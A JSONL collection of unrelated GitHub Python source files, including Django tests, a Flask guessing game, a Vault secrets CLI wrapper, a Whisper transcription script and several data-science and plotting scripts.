+{"seq_id":"38594813054","text":"import os\nimport pytest\n\nimport django.test\n\nfrom backend.oadoi import OadoiAPI\nfrom papers.models import Paper\n\n@pytest.mark.usefixtures(\"load_test_data\")\nclass OadoiAPITest(django.test.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        super(OadoiAPITest, cls).setUpClass()\n        cls.testdir = os.path.dirname(os.path.abspath(__file__))\n\n    @pytest.mark.usefixtures('mock_doi')\n    def test_ingest_dump(self):\n        doi = '10.1080/21645515.2017.1330236'\n        p = Paper.create_by_doi(doi)\n        self.assertEqual(p.pdf_url, None)\n        Paper.create_by_doi(doi)\n\n        # then load an OAdoi dump\n        oadoi = OadoiAPI()\n        oadoi.load_dump(os.path.join(self.testdir, 'data/sample_unpaywall_snapshot.jsonl.gz'))\n\n        # the paper is now OA, yay!\n        p = Paper.get_by_doi(doi)\n        self.assertEqual(p.pdf_url, 'http://europepmc.org/articles/pmc5718814?pdf=render')\n","repo_name":"dissemin/dissemin","sub_path":"backend/tests/test_oadoi.py","file_name":"test_oadoi.py","file_ext":"py","file_size_in_byte":903,"program_lang":"python","lang":"en","doc_type":"code","stars":166,"dataset":"github-code","pt":"21"}
+{"seq_id":"33792759645","text":"import pprint\nfrom skills import *\n\ndef gleichung(erg,schablone):\n    buchstaberl =[]\n    glgs =[]\n    for i in erg:\n        expo =i[1]\n        links =list(filter(lambda x: x[2] ==expo,schablone))\n        glgs.append([i[0],links])\n        #p##print.p##print(glgs)\n    def watchInLetters(letters,glgi):\n        for letter in letters:\n            i=0\n            while i <len(glgi):\n                if letter[1] in glgi[i]:\n                    return [letter[0],letter[1],glgi[i][0],letter[2]]\n                i=i+1\n            ###print()\n        return False\n    for glg in glgs:\n        if len(glg[1]) ==1:\n            sol =glg[0]\n            ##print(\"sol\",sol)\n            links =glg[1][0]\n            ##print(\"links\",links)\n            appender =None\n            er =sol/links[0]\n            appender =[er,links[1],links[2]-1]\n            ##print(appender)\n            buchstaberl.append(appender)\n        if len(glg[1]) ==2:\n            ##print(\"glied:\",glg[1])\n            glied=watchInLetters(buchstaberl,glg[1])\n            ###print(glied)\n            if glied != False:\n                otherLetter =glg[0]-glied[0]*glied[2]\n                ##print(\"otherletter\",otherLetter)\n                for i in glg[1]:\n                    ##print(i)\n                    if glied[1] not in i:\n                        value =otherLetter/i[0]\n                        buchstaberl.append([value,i[1],i[2]-1])\n                        ##print(buchstaberl)\n    returner =[]\n    buchstaberl.pop()\n    #print(buchstaberl)\n    for newGlied in buchstaberl:\n        appender =[newGlied[0],newGlied[2]]\n        if newGlied[2] >0:\n            appender.append(True)\n        else:\n            appender.append(False)\n        #print(appender)\n        returner.append(appender)\n    return returner\n\n\n\n\ndef termSchablone(highestExpo,nullst) ->list:\n    highestExpo =highestExpo+1\n    schablone=[]\n    letters =\"abcdefghijklmnopqrstuvwxyz\"\n    charindex =0\n    while highestExpo >-1:    \n        glied_1 =None\n        glied_2 =None\n        ko_1 =(1.0,letters[charindex])\n        ko_2 =(-nullst,letters[charindex])\n        ###print(ko_2)\n        expo_1 =highestExpo\n        expo_2 =highestExpo-1\n        ###print(expo_2)\n        if expo_1 >1:\n            glied_1=[*ko_1,expo_1,True]\n            glied_2=[*ko_2,expo_2,True]\n        elif expo_1 ==1:\n            glied_1=[*ko_1,expo_1,True]\n            glied_2=[*ko_2,expo_2,False]\n        elif expo_1 == 0:\n            glied_1=[*ko_1,expo_1,False]\n        highestExpo=highestExpo-1\n        charindex=charindex+1\n        \n        for eintrag in [glied_1,glied_2]:\n            schablone.append(eintrag)\n    return list(filter(lambda x: x!=None,schablone))\n\ndef termVgl(original,nullst):\n    nullst=round(nullst,3)\n    letters=\"abcdefghijklmnopqrstuvwxyz\"\n    copy =termSchablone(original[0][1]-1,nullst)\n    erg =[]\n    for wertePaar in original:\n        erg.append([wertePaar[0],wertePaar[1]])\n    ##print(\"erg\",erg)\n    ##print(\"schablone\",copy)\n    return gleichung(erg,copy)\n\n\nif __name__ == '__main__':\n    term =main(\"x^3 -11x^2 +39x -45\")\n    ###print(term)\n    nullst =nullstelle(-100,100,term)\n    #schablone =termSchablone(term[0][1]-1,nullst)\n    ###print(schablone)\n    newTerm =termVgl(term,nullst)\n    print(newTerm)\n    nullst_1 =nullstelle(-100.0,100.0,newTerm)\n    print(nullst_1)\n    term_lst =termVgl(newTerm,nullst_1)\n    print(nullstelle(-100.0,100.0,term_lst))\n","repo_name":"masssi164/test","sub_path":"kurvendiskussion/logic/koeffizientenVgl.py","file_name":"koeffizientenVgl.py","file_ext":"py","file_size_in_byte":3402,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"9669805177","text":"from collections import namedtuple\nimport copy\nfrom dataclasses import dataclass, field\nfrom datetime import datetime\nimport json\nimport matplotlib.pyplot as plt\nimport matplotlib.pylab as pl\nimport numpy as np\nimport os\nimport pathlib\n\nimport pprint\nimport traceback\n\nimport pandas as pd\nfrom pandas import DataFrame\n\nimport time_utils\nfrom time_utils import DateRange\nfrom score_hv.harvester_base import harvest\nfrom expt_metrics import ExptMetricInputData, ExptMetricRequest\nfrom innov_stats_plot_attrs import plot_attrs, region_labels\n\n\nRequestData = namedtuple(\n    'RequestData',\n    [\n        'datetime_str',\n        'experiment',\n        'metric_format_str',\n        'metric',\n        'stat',\n        'regions',\n        'elevation_unit',\n        'time_valid'\n    ],\n)\n\n\n@dataclass\nclass StatGroupData:\n    stat_group_dict: dict\n    cycles: list = field(default_factory=list, init=False)\n    stat_group_frmt_str: str = field(default_factory=str, init=False)\n    metrics: list[str] = field(init=False)\n    stats: list[str] = field(init=False)\n    regions: list[str] = field(init=False)\n    elevation_unit: str = field(init=False)\n\n    def __post_init__(self):\n        self.cycles = self.stat_group_dict.get('cycles')\n        self.stat_group_frmt_str = self.stat_group_dict.get('stat_group_frmt_str')\n        self.metrics = self.stat_group_dict.get('metrics')\n        self.stats = self.stat_group_dict.get('stats')\n        self.regions = self.stat_group_dict.get('regions')\n        self.elevation_unit = self.stat_group_dict.get('elevation_unit')\n\n\ndef get_experiment_metrics(request_data):\n    \n    expt_metric_name = request_data.metric_format_str.replace(\n        '{metric}', request_data.metric\n    )\n\n    expt_metric_name = expt_metric_name.replace(\n        '{stat}', request_data.stat\n    )\n\n    time_valid_from = datetime.strftime(\n        request_data.time_valid.start, request_data.datetime_str)\n\n    time_valid_to = datetime.strftime(\n        request_data.time_valid.end, request_data.datetime_str)\n\n    request_dict = {\n        'name': 'expt_metrics',\n        'method': 'GET',\n        'params': {\n            'datestr_format': request_data.datetime_str,\n            'filters': {\n                'experiment': request_data.experiment,    \n                'metric_types': {\n                    'name': {\n                        'exact': [expt_metric_name]\n                    },\n                    'stat_type': {\n                        'exact': [request_data.stat]\n                    }\n                },\n                'regions': {\n                    'name': {\n                        'exact': request_data.regions\n                    },\n                },\n                'time_valid': {\n                    'from': time_valid_from,\n                    'to': time_valid_to,\n                },\n                'elevation_unit': {\n                    'exact': [request_data.elevation_unit]\n                }\n            },\n            'ordering': [\n                {'name': 'time_valid', 'order_by': 'asc'},\n                {'name': 'elevation', 'order_by': 'desc'}\n            ]\n        }\n    }\n\n    print(f'request_dict: {request_dict}')\n\n    emr = ExptMetricRequest(request_dict)\n    result = emr.submit()\n\n    return result.details['records']\n\n\ndef build_base_figure():\n    fig = plt.figure()\n    ax = plt.subplot()\n    # ax.cla()\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n    plt.tick_params(\n        axis='x',\n        which='both',\n        bottom=False,\n        top=False,\n        labelbottom=True\n    )\n    \n    return (plt, fig, ax)\n\n\ndef format_figure(plt, ax, pa, region_label):\n\n    plt.title(region_label)\n    plt.gca().set_xlim([pa.axes_attrs.xmin, pa.axes_attrs.xmax])\n    plt.gca().set_ylim([pa.axes_attrs.ymin, pa.axes_attrs.ymax])\n    \n    xticks = np.arange(\n        pa.axes_attrs.xmin,\n        (pa.axes_attrs.xmax + 1.e-6),\n        pa.axes_attrs.xint\n    )   \n    plt.xticks(xticks)\n    \n    plt.xlabel(\n        xlabel=pa.xlabel.label,\n        horizontalalignment=pa.xlabel.horizontalalignment\n    )\n    \n    plt.ylabel(\n        ylabel=pa.ylabel.label,\n        horizontalalignment=pa.ylabel.horizontalalignment\n    )\n    \n    plt.gca().invert_yaxis()\n    ax.spines['top'].set_visible(False)\n    ax.spines['right'].set_visible(False)\n    \n    if pa.stat == 'bias':\n        plt.vlines(\n            x=0.0,\n            ymin=pa.axes_attrs.ymin,\n            ymax=pa.axes_attrs.ymax,\n            linestyles='dashed',\n            colors='gray',\n            linewidth=0.5\n        )\n\n    plt.legend(\n        loc=pa.legend.loc,\n        fancybox=pa.legend.fancybox,\n        edgecolor=pa.legend.edgecolor,\n        framealpha=pa.legend.framealpha,\n        shadow=pa.legend.shadow,\n        facecolor=pa.legend.facecolor,\n    )\n\n\ndef build_fig_dest(\n    work_dir,\n    fig_base_fn,\n    metric,\n    stat,\n    region,\n    date_range\n):\n    \n    start = datetime.strftime(date_range.start, '%Y%m%dT%HZ')\n    end = datetime.strftime(date_range.end, '%Y%m%dT%HZ')\n    dest_fn = fig_base_fn\n    dest_fn += f'__{metric}_{stat}_{region}__{start}_to_{end}.png'\n    \n    dest_full_path = os.path.join(work_dir, dest_fn)\n    \n    parent_dir = pathlib.Path(dest_full_path).parent\n    pathlib.Path(parent_dir).mkdir(parents=True, exist_ok=True)\n    return dest_full_path\n\n\ndef save_figure(plt, dest_full_path):\n    print(f'saving figure to {dest_full_path}')\n    plt.savefig(dest_full_path)\n\n\ndef plot_innov_stats(\n    experiments,\n    metric,\n    stat,\n    metrics_df,\n    work_dir,\n    fig_base_fn,\n    date_range\n):\n\n    if not isinstance(metrics_df, DataFrame):\n        msg = 'Input data to plot_innov_stats must be type pandas.DataFrame '\\\n            f'was actually type: {type(metrics_df)}'\n        raise TypeError(msg)\n    \n    plt_attr_key = f'{metric}_{stat}'\n    pa = plot_attrs[plt_attr_key]\n    \n    ave_df = metrics_df.groupby(\n        ['expt_name', 'elevation', 'region'], as_index=False\n    )['value'].mean()\n        \n    # loop through regions\n    regions = ave_df.drop_duplicates(\n        ['region'], keep='last'\n    )['region'].values.tolist()\n    \n    expt_names = ave_df.drop_duplicates(\n        ['expt_name'], keep='last'\n    )['expt_name'].values.tolist()\n\n    for region in regions:\n        # if region != 'global':\n        #     continue\n\n        (plt, fig, ax) = build_base_figure()\n\n        for expt in experiments:\n            \n            expt_name = expt.get('expt_name')\n            stat_vals = ave_df.loc[\n                (ave_df['region'] == region) &\n                (ave_df['expt_name'] == expt_name),\n                'value'\n            ]\n\n            elevations = ave_df.loc[\n                (ave_df['region'] == region) &\n                (ave_df['expt_name'] == expt_name),\n                'elevation'\n            ]\n\n            plt.plot(\n                stat_vals,\n                elevations,\n                color=expt.get('graph_color'),\n                label=expt.get('graph_label')\n            )\n        \n        format_figure(plt, ax, pa, region_labels[region])\n\n        fig_fn = build_fig_dest(\\\n            work_dir,\n            fig_base_fn,\n            metric,\n            stat,\n            region,\n            date_range\n        )\n\n        save_figure(plt, fig_fn)\n\n\n@dataclass\nclass ExperimentData(object):\n    name: str\n    wallclock_start: str\n    graph_color: str\n    graph_label: str\n    \n    def get_dict(self):\n        return {\n            'name': {\n                'exact': self.name\n            },\n            'wallclock_start': {\n                'from': self.wallclock_start,\n                'to': self.wallclock_start\n            },\n            'expt_name': self.name,\n            'expt_start': self.wallclock_start,\n            'graph_label': self.graph_label,\n            'graph_color': self.graph_color\n        }\n\n\n@dataclass\nclass PlotInnovStatsRequest(object):\n    config_dict: dict\n    date_range: DateRange = field(init=False)\n    stat_groups: list = field(default_factory=list, init=False)\n    datetime_str: str = field(default_factory=str, init=False)\n    experiments: list = field(default_factory=list, init=False)\n    work_dir: str = field(default_factory=str, init=False)\n    fig_base_fn: str = field(default_factory=str, init=False)\n\n    def __post_init__(self):\n        date_range_dict = self.config_dict.get('date_range')\n        self.datetime_str = date_range_dict.get('datetime_str')\n        start_str = date_range_dict.get('start')\n        end_str = date_range_dict.get('end')\n        \n        self.experiments = self.get_experiments(self.config_dict)\n        \n        try:\n            start = datetime.strptime(start_str, self.datetime_str)\n            end = datetime.strptime(end_str, self.datetime_str)\n        except Exception as err:\n            trcbk = traceback.format_exc()\n            msg = f'Problem parsing date range: {date_range_dict}, ' \\\n                f'err: {trcbk}'\n            print(f'{msg}')\n            raise ValueError(msg) from err\n\n        self.date_range = DateRange(start, end)\n\n        stat_groups = self.config_dict.get('stat_groups')\n        if not isinstance(stat_groups, list):\n            trcbk = traceback.format_exc()\n            msg = 'No stat_groups key found or invalid type: ' \\\n                f'stat_groups: {stat_groups}, type(stat_groups): ' \\\n                f'{type(stat_groups)}, err: {trcbk}'\n            raise TypeError(msg)\n\n        for stat_group_dict in stat_groups:\n            if not isinstance(stat_group_dict, dict):\n                trcbk = traceback.format_exc()\n                msg = 'stat_group_dict is invalid type: ' \\\n                    f'stat_group_dict: {stat_group_dict}, ' \\\n                    f'type(stat_group_dict): {type(stat_group_dict)}, ' \\\n                    f'err: {trcbk}'\n                raise TypeError(msg)\n\n            self.stat_groups.append(StatGroupData(stat_group_dict))\n        \n        self.work_dir = self.config_dict.get('work_dir')\n        self.fig_base_fn = self.config_dict.get('fig_base_fn')\n\n\n    def get_experiments(self, config_dict):\n        \n        experiments = config_dict.get('experiments')\n        if not isinstance(experiments, list):\n            msg = 'The \\'experiments\\' must be type list, actually ' \\\n                f'{type(experiments)}'\n            raise TypeError(msg)\n\n        experiments_data = []\n        for experiment in experiments:\n            if not isinstance(experiment, dict):\n                msg = 'Each \\'experiment\\' must be type dict, actually ' \\\n                    f'{type(experiment)}'\n                raise TypeError(msg)\n        \n            name = experiment.get('name')\n            wallclk_strt = experiment.get('wallclock_start')\n            graph_color = experiment.get('graph_color')\n            graph_label = experiment.get('graph_label')\n            expt_data = ExperimentData(\n                name, wallclk_strt, graph_color, graph_label\n            )\n            experiments_data.append(expt_data.get_dict())\n\n        return experiments_data\n\n\n    def submit(self):\n        \n        master_list = []\n        n_hours = 6\n        n_days = 0\n\n        finished = False\n        loop_count = 0\n        \n        for stat_group in self.stat_groups:\n            elevation_unit = stat_group.elevation_unit\n            metrics_data = []\n            # gather experiment metrics data for experiment and date range\n            for metric in stat_group.metrics:\n                for stat in stat_group.stats:\n                    m_df = DataFrame()\n                    for experiment in self.experiments:\n                        request_data = RequestData(\n                            self.datetime_str,\n                            experiment,\n                            stat_group.stat_group_frmt_str,\n                            metric,\n                            stat,\n                            stat_group.regions,\n                            stat_group.elevation_unit,\n                            self.date_range\n                        )\n\n                        e_df = get_experiment_metrics(request_data)\n                        e_df = e_df.sort_values(['expt_name', 'region', 'elevation'])\n                        m_df = pd.concat([m_df, e_df], axis=0)\n\n                    plot_innov_stats(\n                        self.experiments,\n                        metric,\n                        stat,\n                        m_df,\n                        self.work_dir,\n                        self.fig_base_fn,\n                        self.date_range\n                    )\n","repo_name":"NOAA-PSL/score-db","sub_path":"src/plot_innov_stats.py","file_name":"plot_innov_stats.py","file_ext":"py","file_size_in_byte":12533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14653670574","text":"from flask import Flask, render_template, request, redirect, session\nimport random\n\napp = Flask(__name__)\napp.secret_key = '91^64.3[4 42'\n\n@app.route('/')\ndef index():\n\n    if not session.get('myNum'):    # its a good thing the range starts at 1; i learned that if you hold a 0 in\n                                    # the variable using this kind of check then\n                                    # the conditional will trigger and you end up with always initializing the \n                                    # variable whenever the route is called. Obvious, after the fact\n        session['myNum'] = random.randint(1,100)\n        session['colorDiff'] = 200\n    print('My number is', session['myNum'])\n    \n    return render_template('index.html')\n\n@app.route('/check', methods=['POST'])\ndef check():\n    userGuess = request.form\n    \n    g = int(userGuess['guess'])\n    mn= int(session['myNum'])\n    d = g - mn   \n    session['colorDiff'] = d    # I computed the difference between the guess and the random number.\n                                # That allows for very specific and direct comparisons. Originally I\n                                # was going to be cute and make the color change as graded by the difference\n                                # but maybe another time. The math involved in doing that on an RGB seems waay\n                                # beyond the scope of this project and my desire to do it\n\n    return redirect('/')\n\n@app.route('/reset')\ndef reset():\n    session.clear()\n    return redirect('/')\n\n@app.errorhandler(404)\ndef unknown(err):\n    return '404 : NOT FOUND!'\n\nif __name__==\"__main__\":\n    app.run(debug=True)","repo_name":"Pat-Tee/CodingDojo","sub_path":"Python/GreatNumberGame/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1655,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"7186478057","text":"from collections.abc import Sequence\nfrom decimal import Decimal\n\ndef format(\n    number: Decimal | float | str,\n    decimal_sep: str,\n    decimal_pos: int | None = ...,\n    grouping: int | Sequence[int] = ...,\n    thousand_sep: str = ...,\n    force_grouping: bool = ...,\n    use_l10n: bool | None = ...,\n) -> str: ...\n","repo_name":"blakeNaccarato/pylance-stubs-unofficial","sub_path":"django-stubs/utils/numberformat.pyi","file_name":"numberformat.pyi","file_ext":"pyi","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"}
+{"seq_id":"75067623","text":"from transformers import WhisperForConditionalGeneration, WhisperFeatureExtractor, WhisperProcessor\nimport torch\nimport torchaudio\nfrom torchaudio.functional import resample\n\ndef transcribe(path):\n    raw_audio, sr = torchaudio.load(path)\n    sr = 16000\n    #raw_audio = resample(waveform=raw_audio, orig_freq=sr, new_freq=16000)\n    raw_audio = raw_audio.squeeze(dim = 0)\n    # feature_extractor = WhisperFeatureExtractor.from_pretrained(\"openai/whisper-tiny\")\n    processor = WhisperProcessor.from_pretrained(\"openai/whisper-tiny\")\n\n    model = WhisperForConditionalGeneration.from_pretrained(\"openai/whisper-tiny\").cuda()\n    input_features = processor(raw_audio, sampling_rate=sr, return_tensors=\"pt\").input_features\n    with torch.no_grad():\n        generated_ids = model.generate(input_features.to(\"cuda\"), language=\"<|ja|>\", task=\"transcribe\")[0]\n        transcription = processor.decode(generated_ids)\n    return processor.tokenizer._normalize(transcription)\n\ndef main():\n    path = \"data/data/clean/my_audio_0.wav\"\n    result = transcribe(path)\n    print(\"\")\n    print(result)\n    \nif __name__ == \"__main__\":\n    main()\n","repo_name":"Shiiya0418/Whisper-Sample-for-Jetson","sub_path":"fast_asr.py","file_name":"fast_asr.py","file_ext":"py","file_size_in_byte":1129,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"23678693112","text":"from sklearn.metrics import confusion_matrix, classification_report\nimport matplotlib.pyplot as plt\n\ndef evaluate_model(model, test_generator):\n    # Evaluate the model on the test data\n    score = model.evaluate(test_generator, verbose=0)\n\n    # Print the test loss and accuracy\n    print('Test loss:', score[0])\n    print('Test accuracy:', score[1])\n\ndef plot_confusion_matrix(model, test_generator):\n    # Generate predictions\n    y_pred = model.predict(test_generator)\n    y_true = test_generator.classes\n\n    # Compute confusion matrix\n    cm = confusion_matrix(y_true, y_pred)\n\n    # Plot confusion matrix\n    plt.imshow(cm, interpolation='nearest', cmap=plt.cm.Blues)\n    plt.title('Confusion matrix')\n    plt.colorbar()\n    plt.tight_layout()\n    plt.show()\n\ndef plot_learning_curve(history):\n    # Plot training & validation accuracy values\n    plt.plot(history.history['accuracy'])\n    plt.plot(history.history['val_accuracy'])\n    plt.title('Model accuracy')\n    plt.ylabel('Accuracy')\n    plt.xlabel('Epoch')\n    plt.legend(['Train', 'Test'], loc='upper left')\n    plt.show()\n\n    # Plot training & validation loss values\n    plt.plot(history.history['loss'])\n    plt.plot(history.history['val_loss'])\n    plt.title('Model loss')\n    plt.ylabel('Loss')\n    plt.xlabel('Epoch')\n    plt.legend(['Train', 'Test'], loc='upper left')\n    plt.show()\n","repo_name":"Shahupdates/cnnClassification","sub_path":"evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"6206559381","text":"#!/usr/bin/python3.5\n\nfrom __future__ import print_function\nimport hvac\nimport argparse\nimport getpass\nimport json\nimport sys\n\ndefault_vault_server = 'https://bcon.prod.wow.avvo.com:8200'\nvault_root_path = 'services/jobrunner/credentials/secret/'\n\ndef log_console(*args, **kwargs):\n    print(__file__ + ': ', file=sys.stderr, end='')\n    print(*args, file=sys.stderr, **kwargs)\n\ndef get_client(vault_server=default_vault_server, vault_appid=None):\n    client = hvac.Client(url=vault_server, verify=False)\n    vault_user = getpass.getuser()\n\n    log_console('Connecting [%s] to vault server [%s] using %s' %\n        (vault_user, vault_server, 'ldap' if vault_appid is None else 'appid'))\n    if vault_appid is None:\n        client.auth_ldap(vault_user, getpass.getpass(prompt='Please enter your password to connect to vault: '))\n    else:\n        client.auth_app_id(vault_appid, vault_user)\n\n    log_console('Vault key root path: [%s]' % vault_root_path)\n    return client\n\ndef read_key(client, key, showToConsole=False):\n    log_console('Reading key [%s] from vault' % key)\n    secret_value = client.read(vault_root_path + key)\n    value = secret_value['data']['value']\n    if showToConsole:\n        print(value)\n    return value\n\ndef write_key(client, key, value):\n    log_console('Writing key [%s] with value [%s] into vault' % (key, value))\n    client.write(vault_root_path + key, value=value)\n    log_console('Done')\n\ndef delete_key(client, key):\n    log_console('Deleting key [%s] from vault' % key)\n    client.delete(vault_root_path + key)\n    log_console('Done')\n\ndef list_key(client):\n    log_console('Listing keys from vault')\n    print(client.list(vault_root_path))\n    log_console('Done')\n\ndef vault_action(args, vault_server):\n    client = None\n    try:\n        if args.action == 'read':\n            client = get_client(vault_server, vault_appid=args.appid)\n            read_key(client, args.key, showToConsole=True)\n        elif args.action == 'write':\n            client = get_client(vault_server, vault_appid=args.appid)\n            write_key(client, args.key, args.value)\n        elif args.action == 'delete':\n            client = get_client(vault_server, vault_appid=args.appid)\n            delete_key(client, args.key)\n        elif args.action == 'list':\n            client = get_client(vault_server, vault_appid=args.appid)\n            list_key(client)\n        else:\n            log_console('Invalid action, only support read/write/delete')\n            exit(1)\n\n    finally:\n        if client is not None:\n            client.logout()\n\nif __name__ == '__main__':\n    \"\"\"This script allows easier access to vault from cluster/gateway\"\"\"\n\n    parser = argparse.ArgumentParser(description = 'Read, write/update, or delete vault key used by the data team')\n    parser.add_argument('--vault_server', required=False, default=default_vault_server, help='the vault server to connect to')\n    parser.add_argument('--appid', required=False, default=None, help='the vault app id to be used instead of ldap')\n\n    subparsers = parser.add_subparsers(help='vault actions')\n    subparsers.required = True\n    subparsers.dest = 'action'\n\n    # create the parser for the 'read' command\n    parser_read = subparsers.add_parser('read', help='read a key from vault store')\n    parser_read.add_argument('--key', required=True, help='the vault key to be operated on')\n\n    # create the parser for the 'write' command\n    parser_write = subparsers.add_parser('write', help='write a key to vault store')\n    parser_write.add_argument('--key', required=True, help='the vault key to be operated on')\n    parser_write.add_argument('--value', required=True, help='value of the vault key to be written')\n\n    # create the parser for the 'delete' command\n    parser_delete = subparsers.add_parser('delete', help='delete a key from vault store')\n    parser_delete.add_argument('--key', required=True, help='the vault key to be operated on')\n\n    # create the parser for the 'list' command\n    parser_list = subparsers.add_parser('list', help='list all entries under given key from vault store')\n\n    args = parser.parse_args()\n\n    vault_action(args, args.vault_server)\n","repo_name":"rlee21/snippets","sub_path":"python/wdep/scripts/data_vault.py","file_name":"data_vault.py","file_ext":"py","file_size_in_byte":4157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40791698309","text":"from datetime import datetime\nfrom bson.binary import UUIDLegacy\n\nfrom database import Database\n\n__author__ = 'jamie'\n\nCOLLECTION = \"aroundtheworld\"\n\n\nclass AroundTheWorld(object):\n\n    @staticmethod\n    def add_game(_id, name, numberOfDarts, numberOfDartsAtEachNumber, mode):\n\n        if Database.insert(COLLECTION, {\"_id\": _id, \"username\": name, \"numberOfDarts\": numberOfDarts, \"numberOfDartsAtEachNumber\":\n                                        numberOfDartsAtEachNumber, \"mode\": mode, \"date\": datetime.now()}):\n            return True\n        return False\n\n    @staticmethod\n    def get_games(name):\n        games = Database.find(COLLECTION, {\"username\": name}, \"date\")\n        return games\n\n    @staticmethod\n    def get_by_id(game_id):\n        game = Database.find_one(COLLECTION, {\"_id\": UUIDLegacy(game_id)})\n        return game\n\n    @staticmethod\n    def get_leaderboard(numResults = None):\n        if numResults:\n            results = Database.find(COLLECTION, {}, \"numberOfDarts\", 1, numResults)\n        else:\n            results = Database.find(COLLECTION, {}, \"numberOfDarts\", 1)\n\n        return results\n","repo_name":"jkerr123/darts-scorer","sub_path":"src/models/aroundtheboard.py","file_name":"aroundtheboard.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13269036116","text":"import argparse\nimport sys\nimport random\nfrom Bio import SeqIO\n\ndef GetArgs():\n    def ParseArgs(parser):\n        class Parser(argparse.ArgumentParser):\n            def error(self, message):\n                sys.stderr.write('error: %s\\n' % message)\n                self.print_help()\n                sys.exit(2)\n\n        parser = Parser(description='Sample sequences form A GISAID FASTA file.')\n        parser.add_argument('-i', '--input_file',\n                            required = True,\n                            help = 'Input FASTA file (required). Fasta file headers must have been reformatted with gisaid_reformat_fasta_headers.py',\n                            type = str)\n        parser.add_argument('-o', '--output_file',\n                            required = True,\n                            help = 'Output Fasta file (required).',\n                            type = str)\n        parser.add_argument('-n', '--num_samples',\n                            required = False,\n                            help = 'Number of sequences to sample. (default = 1000)',\n                            default = 1000,\n                            type = int)\n        \n        return parser.parse_args()\n\n    parser = argparse.ArgumentParser()\n    args = ParseArgs(parser)\n    \n    return args\n\ndef main():\n    args = GetArgs()\n    input_file = args.input_file\n    output_file = args.output_file\n    num_samples = args.num_samples\n    \n    seqs = dict()\n    for seq in SeqIO.parse(input_file, 'fasta'):\n        seqs[seq.id] = seq\n        \n    seq_ids = random.sample(list(seqs.keys()), k=num_samples)\n    \n    f = open(output_file, 'w')\n    for k in seq_ids:\n        SeqIO.write(seqs[k], f, 'fasta')\n    f.close()\n    \nif __name__ == '__main__':\n    main()","repo_name":"analytic-garden/B.1.1.7-Mutations","sub_path":"gisaid_sample_seqs.py","file_name":"gisaid_sample_seqs.py","file_ext":"py","file_size_in_byte":1747,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"13768827263","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport tensorflow as tf\n\nfrom tensorflow import keras\nfrom tensorflow.keras import layers\nfrom tensorflow.keras.layers.experimental import preprocessing\n\nnp.set_printoptions(precision=3, suppress=True)\n\n# Read dataset from file\nraw_dataset = pd.read_csv(\"../data/1160629000_121_308_train_receive.csv\", index_col=None)\nraw_dataset = raw_dataset.astype({'index':'float','event_time':'float', 'value':'int', 'valueThreshold':'int', 'isActive':'bool'})\ndataset = raw_dataset.copy()\ndataset = dataset.dropna().drop(['isActive'], axis=1)\ndataset['event_time'] = (dataset['event_time']-1487508915.0)/1000\n\n# Split data into training and testing\ntrain_dataset = dataset.sample(frac=0.8, random_state=0)\ntest_dataset = dataset.drop(train_dataset.index)\n\n# Split input features and lables\ntrain_features = train_dataset.copy()\ntest_features = test_dataset.copy()\ntrain_labels = train_features.pop('event_time')\ntest_labels = test_features.pop('event_time')\n\n# Normalize whole dataset\nnormalizer = preprocessing.Normalization()\nnormalizer.adapt(np.array(train_features))\n\n# Model Init fucntion\ndef build_and_compile_model(norm):\n  inputs = tf.keras.layers.Input(shape=(3,))\n  model = keras.Sequential([\n      inputs,\n      norm,\n      layers.Dense(64, activation='relu'),\n      layers.Dense(64, activation='relu'),\n      layers.Dense(1)\n  ])\n  # Setup optimizer, learning rate, and loss function\n  model.compile(loss='mean_absolute_error',\n                optimizer=tf.keras.optimizers.Adam(0.001))\n  return model\n\nDNN_multi_var_model = build_and_compile_model(normalizer)\n\n# Save Train loss each epochs for later analysis\nhistory = DNN_multi_var_model.fit(\n    train_features, train_labels,\n    validation_split=0.2,\n    verbose=0, epochs=100)\n\n# Plot loss during training\n# def plot_loss(history):\n#   plt.plot(history.history['loss'], label='loss')\n#   plt.plot(history.history['val_loss'], label='val_loss')\n#   plt.ylim([0, 10])\n#   plt.xlabel('Epoch')\n#   plt.ylabel('Error [event_time]')\n#   plt.legend()\n#   plt.grid(True)\n#   plt.show()\n# plot_loss(history)\n\n# Evaluate model in testing dataset\ntest_results = {}\ntest_results['DNN_multi_var_model'] = DNN_multi_var_model.evaluate(test_features, test_labels, verbose=0)\nprint (pd.DataFrame(test_results, index=['Mean absolute error [event_time]']).T)\n\nDNN_multi_var_model.save(\"../exported_models/DNN_multi_regression\")\nconverter = tf.lite.TFLiteConverter.from_saved_model(\"../exported_models/DNN_multi_regression\")\ntflite_model = converter.convert()\nopen(\"../exported_models/tflite_model/DNN_multi_regression.tflite\", \"wb\").write(tflite_model)\n\n# Ploting result\n# test_predictions = DNN_multi_var_model.predict(test_features).flatten()\n# a = plt.axes(aspect='equal')\n# plt.scatter(test_labels, test_predictions)\n# plt.xlabel('True Values [event_time]')\n# plt.ylabel('Predictions [event_time]')\n# lims = [0, 50]\n# plt.xlim(lims)\n# plt.ylim(lims)\n# _ = plt.plot(lims, lims)\n# 